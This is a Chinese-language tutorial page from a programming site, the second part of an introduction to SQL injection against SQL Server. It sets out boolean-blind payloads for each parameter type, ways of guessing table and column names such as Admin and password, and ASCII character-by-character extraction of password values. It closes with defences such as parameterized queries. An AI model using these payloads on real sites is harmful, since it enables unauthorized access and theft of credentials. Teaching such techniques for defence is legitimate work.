首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入入門實戰 (第二部分):參數類型重構、表名欄位猜解與 ASCII 逐字解碼法

     編輯:關於SqlServer

本文系統說明 SQL 注入的標準化流程:判斷環境 → 依參數類型重構 SQL → 猜解表名/欄位 → ASCII 逐字解碼提取資料,建立完整攻擊模型 (僅供防禦研究)。

一、 SQL 注入四大步驟

  1. 判斷環境:測試單引號、雙引號、括號、註解符號,確認注入點存在
  2. 重構 SQL:依參數類型在腦中還原原始查詢
  3. 猜解結構:布林盲注/錯誤回顯列舉表名、欄位名
  4. 提取資料:ASCII 逐字解碼或錯誤回顯法取得欄位值

二、 依參數類型重構 SQL (關鍵心智模型)

參數範例類型原始 SQL 模樣注入 Payload 結構
id=49數字SELECT * FROM t WHERE col = 49id=49 AND [條件]
class=連續劇字串SELECT * FROM t WHERE col = '連續劇'class=連續劇' AND [條件] AND ''='
keyword=關鍵字搜尋 (LIKE)SELECT * FROM t WHERE col LIKE '%關鍵字%'keyword=' AND [條件] AND '%'='

**核心原則**:注入後的 SQL 必須語法合法、邏輯恆真 (或可控真假),才能觀察頁面差異判斷條件成立與否。

三、 猜解表名與欄位名 (布林盲注法)

表名猜解

-- 假設參數 id=49 (數字型)
id=49 AND (SELECT COUNT(*) FROM Admin) >= 0
-- 頁面與 id=49 相同 → 表 Admin 存在
-- 否則 → 不存在
-- 遍歷字典/系統表逐一嘗試

欄位名猜解

-- 表名已知為 Admin
id=49 AND (SELECT COUNT(username) FROM Admin) >= 0
-- 同理遍歷常見欄位名:id, name, pwd, password, pass, email...

四、 ASCII 逐字解碼法 (通用但低效)

-- 步驟 1:確認欄位長度
id=49 AND (SELECT TOP 1 LEN(password) FROM Admin) > 8  -- 二分法找長度

-- 步驟 2:逐字元猜測 ASCII
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(password,1,1)) FROM Admin) > 64
-- >64? >96? >112? ... 二分法鎖定第 1 字元
-- 依序處理第 2, 3, 4... 字元
  • 優點:通用性極高,只要有布林回顯即可
  • 缺點:極慢 (單字元 ~7 次請求),大量資料需自動化腳本/sqlmap
  • SQL Server 進階:可用 CAST/CONVERT 錯誤回顯一次取整串 (高階篇介紹)

五、 現實限制與防禦啟示

  • 表名/欄位名若無規律 (亂數命名),字典攻擊幾乎無效 → **安全性靠「不透明化」非長久之計**
  • 真正防禦:**參數化查詢** 讓使用者輸入永遠不參與 SQL 解析
  • 輔助:WAF、最小權限帳號、錯誤頁不洩露技術細節、定期代碼審查
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved